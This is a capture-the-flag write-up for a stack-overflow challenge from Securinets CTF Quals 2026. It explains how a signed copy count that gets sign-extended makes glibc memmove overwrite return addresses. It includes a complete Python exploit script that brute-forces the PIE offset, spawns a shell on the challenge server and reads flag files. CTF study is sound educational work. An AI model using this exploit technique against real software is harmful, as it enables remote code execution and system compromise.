$ cat writeup.md…
$ cat writeup.md…
Securinets CTF Quals 2026
Task: memcpy(dst, buf+0x80, n) with signed count checked only as n > 0x70, then movsxd-extended. Solution: negative count becomes huge size_t; glibc memmove's wrapped 32-byte store clobbers caller frames; 2-byte partial overwrite + PIE low-16 brute force reaches ret2win system("/bin/sh").
nc pwn3.securinets.tn 1000— pwn.red/jail wrapper,JAIL_TIME=60, flag at./flag.txtin the challenge cwd (/srv/app). Handout:main,libc.so.6(Ubuntu GLIBC 2.39),ld-linux-x86-64.so.2,Dockerfile,docker-compose.yml.
English summary: a stack challenge with no menu. main owns a 0x70-byte stack
buffer and asks for a string plus a count of characters to copy into it. The
count is validated with a signed upper-bound check only, then passed through a
sign-extending movsxd into memcpy's size_t argument — a negative count turns
the copy into a gigantic memmove whose wrapped tail store lands inside caller
frames. Goal: get a shell and read flag.txt.
main (PIE, canary, NX, partial RELRO, not stripped, interp ./ld-linux-x86-64.so.2,
shipped Ubuntu GLIBC 2.39):
setup(): setbuf(stdout, NULL) / setbuf(stdin, NULL) — both streams unbuffered.prompt(buf): puts("Welcome to Securinets Quals!"), puts("Let's start off easy"), then input(buf). No canary in this frame.input(buf): prints "Say your wise words: " and "How many wise chars do you want to say: ", scanf("%d", &n) into int n at rbp-0xf4, if (n > 0x70) exit(0) (signed compare — only rejects greater-than), read(0, buf, 0xe0) into char buf[0xe0] at rbp-0xf0, then
memcpy(dst, buf + 0x80, (size_t)(long)n) — the count is loaded with movsxd rdx, eax (the sign-extension bug).main: printf(escape(buf)), where escape() mallocs a copy with every % doubled — the format string is a decoy.win() @ PIE+0x121c: puts("GG"); system("/bin/sh"), "/bin/sh" at .rodata 0x200b.
win+0x13 = PIE+0x122f: lea rax,[rip+0xdd5]; mov rdi,rax; call system@plt — the correct ret2win entry (skips puts("GG"), and %rsp is 16-byte aligned there).| address | contents |
|---|---|
R-0x70 (main_buf, memcpy dst) | main's buffer |
R-0x8 = main_buf+0x68 | main's canary |
R = main_buf+0x70 | main's saved RBP |
R+8 = main_buf+0x78 | main's return address |
R-0x80 | prompt's saved RBP |
R-0x78 = dst-0x8 | prompt's return address (normally PIE+0x14de) |
R-0x160 | input's saved RBP |
R-0x250 .. R-0x171 | input's buf[0xe0]; memcpy src = buf+0x80 = R-0x1d0 = dst-0x160 |
Payload mapping is 1:1: send the count line, then exactly 0xe0 bytes. Because
stdin is unbuffered, scanf leaves the \n in the 1-byte pushback and the raw
read(0, buf, 0xe0) starts at payload[0], so input_buf[k] == payload[k].
size_t memcpymovsxd rdx, eax sign-extends the int count into size_t, so n = -m becomes a
~2^64 copy length. In glibc 2.39 memcpy resolves to the memmove-vec IFUNC;
__memmove_avx_unaligned (AVX2, non-erms; erms/evex variants behave the same way
here) flows 0x1913b0 → 0x19151d → 0x191586, and since (dst-src) = 0x160 is
less than the huge n, it jumps to 0x191640, the forward-aligned path.
Its writes:
[dst+0x00/0x20/0x40/0x60] ← [src+0x00/0x20/0x40/0x60], i.e. src[0..0x80) → dst[0..0x80);[dst+n-0x20 .. dst+n-1] (32 bytes) ← [src+n-0x20 .. src+n-1] — the "last 32 bytes" of the logical copy, computed from pointers that wrapped around;0x191670) never runs for negative n (its start pointer is already below dst).So a negative count produces exactly two write regions, and m in n = -m
selects which 32 bytes the wrapped store hits.
Effects of the head copy on main's frame (same for every count):
main_buf offset | content written |
|---|---|
+0x00..+0x5f | payload[0x80..0xdf] |
+0x60..+0x67 | input_buf[0xe0..0xe7] — uninitialized slot just past the read window; contains a pointer (free leak when printed) |
+0x68..+0x6f | input's canary — same per-thread value as main's canary, so main's stack check still passes |
+0x70..+0x77 | input's saved RBP (clobbers main's saved RBP) |
+0x78..+0x7f | input's return address PIE+0x138b (clobbers main's return address) |
Wrapped-store map (verified locally with an LD_PRELOAD memcpy hook and on the
remote — behavior identical):
| count | wrapped store covers | effect |
|---|---|---|
-6 | [dst-0x26, dst-0x7] | prompt's saved RBP fully (← payload[0x70..0x77]) and exactly ret bytes 0..1 (← payload[0x78..0x79]); bytes 2..7 preserved |
-7 | [dst-0x27, dst-0x8] | ret byte 0 only (← payload[0x78]) |
-8 | [dst-0x28, dst-0x9] | saved RBP only |
-14/-15 | up to dst-0xf / dst-0x10 | ret intact, RBP corrupted → flow falls into the main+0x28 path → *** stack smashing detected ***: terminated on stderr (stderr reaches the socket) |
≤ -16 | below dst-0x10 | nothing critical → escape(main_buf) printf prints 0x68 bytes including a pointer at main_buf+0x60..0x67 (low 12 bits fixed 0xdd8; locally a stack ptr 0x7fff7c1dd8, remote 0x5e433e837dd8) |
A 2-byte partial overwrite of prompt's return address (PIE+0x14de) preserves the
original 64K page (bytes 2..7). The intended target win+0x13 = PIE+0x122f
requires low-16 = (PIE_low16 + 0x122f) & 0xffff, not 0x122f. The PIE base
is only 4K-aligned (ELF_ET_DYN_BASE = 0x555555554000 + rnd*0x1000 under the
jail), so PIE_low16 has exactly 16 candidates {0x0000, 0x1000, ..., 0xf000}.
The carry into byte 2 is handled automatically by the preserved high bytes:
c + 0x14ea and c + 0x122f carry together for every candidate (both first carry
at c = 0xf000). Verified locally: payload low-16 0xf22f with
PIE_low16 = 0xe000 → shell (uid=0); naive 0x122f → silent SIGSEGV.
escape() doubles every % — decoy.main_buf+0x68 with LSB 0x00; printf stops at the first NUL, so output truncates at 0x68 bytes.count ≤ -16 the leak prints once, then the process dies — execution falls through stale return values (call escape leaves a stale 0x14ea at [R-0x78]; the pseudo-"loop" then reaches main+0x34 → printf(rax=0)) → SIGSEGV.0xb6 re-enters main (banner re-prints, new input accepted, frames march down 0x70 per stage) — but no fresh leak is printed on that path.Conclusion: the no-leak 2-byte partial overwrite + 16-way PIE low-16 brute force is the intended (and working) path.
Per connection: read until to say: , send -6\n plus a 0xe0-byte buffer of
'A' with the two ret bytes set to (c + 0x122f) & 0xffff, then send shell
commands into the spawned /bin/sh. Brute c over the 16 candidates, starting at
0x4000 (ELF_ET_DYN_BASE low-16). The hit was c = 0x9000 → bytes 2f a2.
#!/usr/bin/env python3 # remote_brutepie.py — Over?flow (Securinets CTF Quals 2026) import socket, time, sys HOST, PORT = 'pwn3.securinets.tn', 1000 CMDS = b'cat flag.txt; cat /srv/app/flag.txt; cat /flag.txt 2>/dev/null; id; ls -la\n' def attempt(pie_low16, wait1=0.6, wait2=2.0): v = (pie_low16 + 0x122f) & 0xffff s = socket.create_connection((HOST, PORT), timeout=8) s.settimeout(8) buf = b'' while b'to say: ' not in buf: d = s.recv(4096) if not d: break buf += d rb = bytearray(b'A' * 0xe0) rb[0x78] = v & 0xff # ret byte 0 rb[0x79] = (v >> 8) & 0xff # ret byte 1 s.sendall(b'-6\n' + bytes(rb)) out = b'' end = time.time() + wait1 s.settimeout(wait1) while time.time() < end: try: d = s.recv(65536) except Exception: break if not d: break out += d try: s.sendall(CMDS) except Exception: pass end = time.time() + wait2 s.settimeout(wait2) while time.time() < end: try: d = s.recv(65536) except Exception: break if not d: break out += d s.close() return out # pwn.red/jail runs the binary normally: PIE base = ELF_ET_DYN_BASE(0x555555554000) + rnd*0x1000 # low16 candidates: 0x4000 first (most likely), then the rest. order = [0x4000, 0x5000, 0x6000, 0x7000, 0x8000, 0x9000, 0xa000, 0xb000, 0xc000, 0xd000, 0xe000, 0xf000, 0x0000, 0x1000, 0x2000, 0x3000] for c in order: out = attempt(c) hit = b'uid=' in out print('pie_low16=%#06x target_low16=%#06x len=%-5d %s' % (c, (c + 0x122f) & 0xffff, len(out), '*** HIT ***' if hit else '')) sys.stdout.flush() if hit: print('=== FULL OUTPUT ===') print(out.decode(errors='replace')) break print('brute done')
Result on the live target: hit at c = 0x9000 on the first run
(rb[0x78]=0x2f, rb[0x79]=0xa2); system("/bin/sh") pops a shell reading
commands from the same socket:
$ cat flag.txt
Securinets{REDACTED}
Total cost: ≤ 16 connections, deterministic per candidate, comfortably inside
JAIL_TIME=60.
Use this technique when:
scanf("%d") and validated with only a signed upper-bound check (if (n > LIMIT) exit(0)) — no lower bound;memcpy through a sign-extending move (movsxd), so negative values become gigantic size_t lengths;buf + 0x80) and the destination is the caller's buffer — a negative length makes glibc's vector memmove emit a wrapped tail store [dst+n-0x20, dst+n-1] ← [src+n-0x20, src+n-1] inside caller frames, with fully attacker-controlled source bytes;win() / system("/bin/sh") sits at a small fixed PIE offset, making a 2-byte partial overwrite + 16-way PIE low-16 brute force cheaper than any leak;printf (here escape() doubling %) signals the format string is a decoy — look for the copy-length bug instead.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar